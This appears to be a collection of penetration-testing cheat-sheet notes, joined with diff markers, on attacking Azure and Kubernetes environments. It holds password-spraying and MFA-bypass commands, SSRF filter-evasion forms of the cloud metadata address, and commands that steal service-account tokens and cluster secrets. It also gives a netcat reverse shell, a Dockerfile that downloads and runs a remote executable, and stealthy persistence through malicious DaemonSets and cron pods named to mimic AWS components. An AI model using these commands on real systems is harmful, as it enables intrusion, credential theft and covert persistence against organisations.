- OPSEC NOTE: There are detections in Azure Security Center for this as well as MicroBurst
- `Get-AzureTargets`
- Compares the user role to the Azure scope to enumerate attack surface area
- MicroBurst
- `Get-AzDomainInfo -Verbose -Folder microburst-output`
- Generates an entire directory dump full of all available info on all of the Azure subscriptions to which the user has access
- If environment is very large, disable some of the information using the boolean options
- Review Azure instance metadata (from the instance itself)
- `curl -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2020-09-01" | jq`
- Check for a managed identity
- `curl -H Metadata:true -s 'http://169.254.169.254/metadata/identity/oauth2/ token?api-version=2018-02-01&resource=https%3A%2F%2Fmanag ement.azure.com%2F' | jq`
- Resulting token can be used to interact with the Azure REST APIs. Can also be used with MicroBurst to gather key vault secrets and storage account keys
- Credential Harvesting
- Check previous deployments for resource groups
- Look for misconfigured parameter types - passwords set as "String" instead of "SecureString"
- Check deployment output sections - can include sensitive values and even "SecureString" values in cleartext
- `Get-AzDomainInfo` in MicroBurst gathers all this deployment info; check Development\\Resources\\Deployments.txt for creds
- Managed Identities - can have elevated permissions in environment
- `appid=$(az resource list --query "[?name=='\<resource name\>'].identity.principalId" --output tsv)`
- Retrieve resource information and cast to the "appid" variable
- `az role assignment list --assignee $appid --include-groups --include-inherited --query'[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
- List role assigments, specifying role name, principal name, type, and scope
- Can also be done with the REST API
@@ -0,0 +1,39 @@
z- Get all public IP addresses for subscription
- Azure CLI
- `az network public-ip list --query '[].[name, ipAddress, publicIpAllocationMethod]' -o table`
- Az Pwsh
- `Get-AzPublicIpAddress | Select Name,IpAddress,PublicIpAllocationMethod`
- Anonymously enumerating services for a target
1. Determine base-word search terms to work with. This will usually be linked with the name of the Azure customer that you are engaged with or known terms that are associated with the organization; for example, packt, azurepentesting, azurept, and so on
2. Create permutations on the base words to identify potential subdomain names; for example, packt-prod, packt-dev, azurepentesting-stage, azurept-qa, and so on.
- The Microsoft Azure resource naming best practices have been published at https://docs.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-bestpractices/resource-naming (you can also use this shortened URL: http://bit.ly/azurenamingbestpractices).
3. Enumerate subdomains that match these permutations using a tool such as MicroBurst, Gobuster, or DNSscan.
- MicroBurst is best because it is Azure-specific
- `Invoke-EnumerateAzureSubDomains -Base azurepentesting`
- Determine whether custom domains are hosted in Azure
- `nslookup <domain>`
- Note IP address
- `Invoke-WebRequest https://cloudipchecker.azurewebsites.net/api/servicetags/manual?ip=<IP_ADDRESS> -UseBasicParsing | Select-Object -ExpandProperty Content`
- Identifying misconfigured blobs
- Enumerate storage account containers with default permutation list
- `Invoke-EnumerateAzureBlobs -Base <basestring>`
- Can specity custom container name list in text file
- `Invoke-EnumerateAzureBlobs -Base azurepentesting -Folders .\customcontainer.txt`
- Download containers with weak permissions
- `Invoke-WebRequest -Uri "https://azurepentesting.blob.core.windows.net/public/README.txt" -OutFile "README.txt"`
- `Invoke-WebRequest -Uri "https://azurepentesting.blob.core.windows.net/private/credentials.txt" -OutFile "credentials.txt"`
- Spray Microsoft Online accounts
- Generate text file containing user principal names (format: \<username\>@\<domain\>.com, eg. al@cthulhupentest.com)
- Spray using MSOLSpray
- `Invoke-MSOLSpray -UserList .\userlist.txt -Password myPassword123`
- Note the script also is able to tell if MFA is enabled for each user
- If credentials are restricted by Conditional Access policies or MFA:
- Look for bypass with MFASweep
- `Invoke-MFASweep -Username [email protected] -Password myPassword123`
- Social engineering or simply spamming the user with MFA requests may work
- It worked against Uber...
+10
View File
@@ -0,0 +1,10 @@
- The IP address "169.254.169.254" is routed to the hypervisor and retrieves networking, firewall, and related information for virtually all cloud providers.
- This is the call you should make first if you find SSRF in a cloud instance.
- If this IP address is specifically banned/filtered:
- Try various alternate representations of it:
- http://169.254.169.254 - decimal
- http://0xa9fea9fe - hexadecimal
- http://0xA9.0xFE.0xA9.0xFE - dotted
- http://025177524776 - octal
- http://①⑥⑨.②⑤④.①⑥⑨.②⑤④ - Unicode
- Register a domain you own that points to this IP address - public domains can be registered to private IPs
@@ -0,0 +1,21 @@
- Get all Configmaps With Sensetive Details In Keys
- `kubectl get configmaps --all-namespaces -o json | jq -r '.items[].data | select(. != null)' | awk '{print(tolower($0))}' | jq -r 'with_entries( select(.key|(contains("pass") or contains("secret") or contains("token"))))'`
- Get all configmaps with sensetive details in values
- `kubectl get configmaps --all-namespaces -o json | jq -r '.items[].data | select(. != null)' | awk '{print(tolower($0))}' | jq -r 'with_entries( select(.value|(contains("pass") or contains("secret") or contains("token"))))'`
- Get Containers With Sensitive Details In env
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[].env | select(. != null)' | awk '{print(tolower($0))}' | jq -r '.[] | select(.name | (contains("pass") or contains("secret") or contains("token")))'`
- Get the Kubernetes Token Mounted by Default
- `TOKEN=$(kubectl exec $POD_NAME -n $NAMESPACE -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)`
- Test Communication to the Kubernetes API Server
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://$API_SERVER/api --header 'Authorization: Bearer $TOKEN' --insecure`
- List all Kubernetes Cluster Secrets
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://$API_SERVER/api/v1/namespaces/kube-system/secrets --header 'Authorization: Bearer $TOKEN' --insecure`
- Get AWS EC2 Instance Metadata Token
- `kubectl exec ingress-nginx-controller-df547d78c-rxww2 -n ingress-nginx -- curl http://169.254.169.254/latest/meta-data/iam/security-credentials/nodes.kopstest.k8s.local`
@@ -0,0 +1,57 @@
- Get API version
- `curl -Lk https://<API_IP>/version --header "Authorization: Bearer $TOKEN"`
- Useful API endpoints
- Spec
- `https://<API_IP>/openapi/v2`
- Secrets
- `api/v1/namespaces/default/secrets/`
- Account information
- `api/v1/namespaces/default/serviceaccounts`
- Get Load Balancers
- `kubectl get services --all-namespaces -o jsonpath='{range .items[?(@.spec.type=="LoadBalancer")]}{.status.loadBalancer.ingress[*].hostname}:{.spec.ports[*].port}{"\n"}{end}'`
- List pods in `kube-system` namespace
- `kubectl get pods -n kube-system`
- Get all secrets (requires cluster admin permissions, usually `kube-system` token)
- `kubectl get secrets --all-namespaces`
- List all pods running on current node to determine which secrets are accessible
- `kubectl get pods --all-namespaces --field-selector spec.nodeName=<node_name>`
- Retrieve specific secret
- `kubectl get secret <secret_name> -o json -n <namespace> | jq .data`
- Get External IP's of all nodes
- `kubectl get nodes --all-namespaces -o jsonpath='{range .items[*].status.addresses[?(@.type=="ExternalIP")]}{.address}{"\n"}{end}'`
- Get Kubernetes API Server Config
- `POD_NAME=$(kubectl get pods --namespace kube-system | grep kube-apiserver | head -1 | awk '{print $1}') && kubectl describe pod $POD_NAME --namespace kube-system`
- Get list of nodes sorted by creation time (useful for finding stable machines for persistence)
- `kubectl get nodes sort-by=.metadata.creationTimestamp`
- Get Kubernetes API Server Container Args
- `POD_NAME=$(kubectl get pods --namespace kube-system | grep kube-apiserver | head -1 | awk '{print $1}') && kubectl get pod $POD_NAME --namespace kube-system -o json | jq -r '.spec.containers | .[] |select(.name == "kube-apiserver")| .args'`
- Get Network Policies
- `kubectl get networkpolicy --all-namespaces`
- Get Cluster Admin Role Bindings
- `kubectl get clusterrolebindings | grep "ClusterRole/cluster-admin"`
- Get Cluster Roles With Secrets Access
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "secrets" )|select(. != null)).metadata.name'`
- Get Roles With Secrets Access
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "secrets" )|select(. != null)).metadata.name'`
- Get Cluster Roles with Configmaps Access
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "configmaps" )|select(. != null)).metadata.name'`
- Get Roles with Configmaps Access
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "configmaps" )|select(. != null)).metadata.name'`
- Get Pods With Containers Without Resources Limits
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[] | select(.resources.limits == null).name'`
- Get All Containers Images
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[].image' | sort | uniq`
- Get cluster roles with wildcard resources
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "*" )|select(. != null)).metadata.name'`
- Get roles with wildcard resources
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "*" )|select(. != null)).metadata.name'`
@@ -0,0 +1,5 @@
- Run a Reverse Shell from the Kubernetes Cluster to your Host
- `kubectl run pod-shell --image=busybox -- nc <HOST> <PORT> -e /bin/sh`
- Get the External IP for Egress Communication to the Internet
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://ipinfo.io/json`
+32
View File
@@ -0,0 +1,32 @@
- Increase number of containers currently deployed
- `kubectl scale --replicas=3 deployment/nginx`
- Update application version of running containers
- `kubectl set image deployment/nginx-deployment\nginx=nginx:1.9.1 --record`
- Get a shell on a particular container
- `kubectl exec sparcflow/nginx-<container_number> bash`
- Deploy a pod according to YAML manifest file
- `kubectl apply -f <manifest_file>`
- Get a list of running pods
- `kubectl get pods`
- Clean output
- `kubectl get pods -n prod -o="custom-columns=NODE:.spec.nodeName,POD:.metadata.name"`
- Destroy pod
- `kubectl delete -f <manifest_file>`
- Check for service account secrets
1. `mount |grep -i secrets`
2. `cat /run/secrets/kubernetes.io/serviceaccount/token`
- Decode JWT secret
- `cat /run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f 2 | base64 -d`
- Interact with API with pilfered secret:
1. `export TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)`
2. `env` - Determine location of API
3. `curl -Lk https://10.100.0.1/api --header "Authorization: Bearer $TOKEN"`
- Check authorization to perform various actions
- `kubectl version auth can-i <action>`
- `kubectl version auth can-i get nodes`
- `kubectl version auth can-i get pods`
- Make sure you specify namespace with -n if the above succeeds, but the actual action fails. Use namespace specified in the JWT
- Extract manifest of all pods
- `kubectl get pods -n prod -o yaml > output.yaml`
- Get nicely formatted output:
- ` kubectl get pods -o="custom-columns=NODE:.spec.nodeName,POD:.metadata.name,PODIP:.status.podIP,SERVICE:.spec.serviceAccount,ENV:.spec.containers[*].env[*].valueFrom.secretKeyRef,FILESECRET:.spec.volumes[*].secret.secretName"`
@@ -0,0 +1,106 @@
- Use redundant means in cloud and Kubernetes environments, since the instances/nodes/pods/etc. are constantly in flux.
- Stable -> spinning up a malicious pod
- Unstable -> running executable inside a current pod or on a cloud node
- Useful names for container/pods/bucket to blend in:
- Container - `amazon-k8s-cni` - Mimics legitimate Amazon image
- S3 bucket - `(amazon-cni-plugin-essentials` - Blends in with more legit Amazon infra
- Persistence within AWS Kubernetes is most convenient by spinning up a new pod of the `DaemonSet`, `aws-node` variety
- Service account is automatically given read-only access to everything
- All containers mount the docker socket for easy root access to the host
- **Caveat**: make sure to limit the nodes this runs on; by default `DaemonSet` runs on every node
- Create:
1. Pull the manifest of the existing, normal `DaemonSet`
- `kubectl get DaemonSet aws-node -o yaml -n kube-system > aws-ds-manifest.yaml`
2. Change the location of the image to location of malicious image
- `sed -E "s/image: .*/image: 886477354405.dkr.ecr.eu-west-1.amazonaws.com/amazon-k8s-cni:v1.5.3/g" -i aws-ds-manifest.yaml`
3. Change the name of the `DaemonSet` to avoid conflicting with the existing, normal `DaemonSet`
- `sed "s/ name: aws-node/ name: aws-node-cni/g" -i aws-ds-manifest.yaml`
4. Replace host and container port to avoid conflict
- `sed -E "s/Port: [0-9]+/Port: 12711/g" -i aws-ds-manifest.yaml`
5. Update node label key and value - specify which nodes should run the pod
- `sed "s/ key: beta.kubernetes.io\/os/ key: service/g" -i aws-ds-manifest.yaml`
- `sed "s/ linux/ kafka-broker-collector/g" -i aws-ds-manifest.yaml`
6. Push new manifest to the cluster
- `kubectl -f apply -n kube-system aws-ds-manifest.yaml`
- Can also use `ReplicaSet`
- This would allow us to use `aws-node` as the name since they would belong to a different Kubernetes object than `DaemonSet`
- Cron job
- Can be implemented at the cluster level to spin up a pod at a certain time or under certain conditions
- For additional stealth, the cron pod can be used to contact the Docker socket and spin up a new container in which to run the malicious code, allowing the cron pod to terminate gracefully.
- Advantage of this is it is set up separate from Kubernetes and invisible to the cluster.
- Use a container name that mimics the typical "pause" containers - there are always many running
- Kubernetes mutating webhook - post v1.15
- Look into this
- [Writing a very basic Kubernetes mutating admission webhook](https://medium.com/ovni/writing-a-very-basic-kubernetes-mutating-admission-webhook-398dbbcb63ec)
- Example Dockerfile to download and run an arbitrary executable within Alpine container
```Dockerfile
FROM alpine
CMD ["/bin/sh", "-c", "wget https://amazon-cni-plugin-essentials.s3.amazonaws.com/run -O /root/run && chmod +x /root/run && /root/run"]
```
- Example manifest file for persistence cron:
```YAML
apiVersion: batch/v1beta1
kind: CronJob
metadata:
name: metrics-collect
spec:
schedule: "0 10 * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: metrics-collect
image: 882347352467.dkr.ecr.eu-west-1.amazonaws.com/amazon-metrics-collector
volumeMounts:
- mountPath: /var/run/docker.sock
name: dockersock
volumes:
- name: dockersock
hostPath:
path: /var/run/docker.sock
restartPolicy: Never
```
- Example Docker image for persistence cron:
```Dockerfile
FROM debian: buster-slim
RUN apt update && apt install -y git make
RUN apt install -y prometheus-varnish-exporter
COPY init.sh /var/run/init.sh
ENTRYPOINT ["/var/run/init.sh"]
```
- Script to pull image, create a container, and start a container independent of Kubernetes (update image paths and such):
```BASH
# Pull the image from the ECR registry
curl \
--silent \
--unix-socket /var/run/docker.sock \
"http://docker/images/create?fromImage=881445392307.dkr.ecr.eu-west\
-1.amazonaws.com/pause-amd64" \
-X POST
# Create the container from the image and mount the / directory
curl \
--silent \
--unix-socket /var/run/docker.sock \
"http://docker/containers/create?name=pause-go-amd64-4413" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "881445392307.dkr.ecr.eu-west-1.amazonaws.com/pause-amd64",\
"Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}'
# Start the container
curl \
--silent \
--unix-socket /var/run/docker.sock \
"http://docker/containers/pause-go-amd64-4413/start" \
-X POST \
-H "Content-Type: application/json" \
--output /dev/null \
--write-out "%{http_code}"
```
@@ -0,0 +1,12 @@
- Get Pods With Privileged Containers
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.privileged == true)).metadata.name'`
- Get Pods with Containers allowed to perform Privilege Escalation
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.allowPrivilegeEscalation == true)).metadata.name'`
- Get Pods with Containers running as Root
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.runAsUser == 0)).metadata.name'`
- Get Pods with Containers including System Admin Capability
- `kubectl get pods --all-namespaces -o json | jq -r '.items[] | select(.spec.containers[].securityContext.capabilities.add | index("SYS_ADMIN") | select(. != null)).metadata.name'`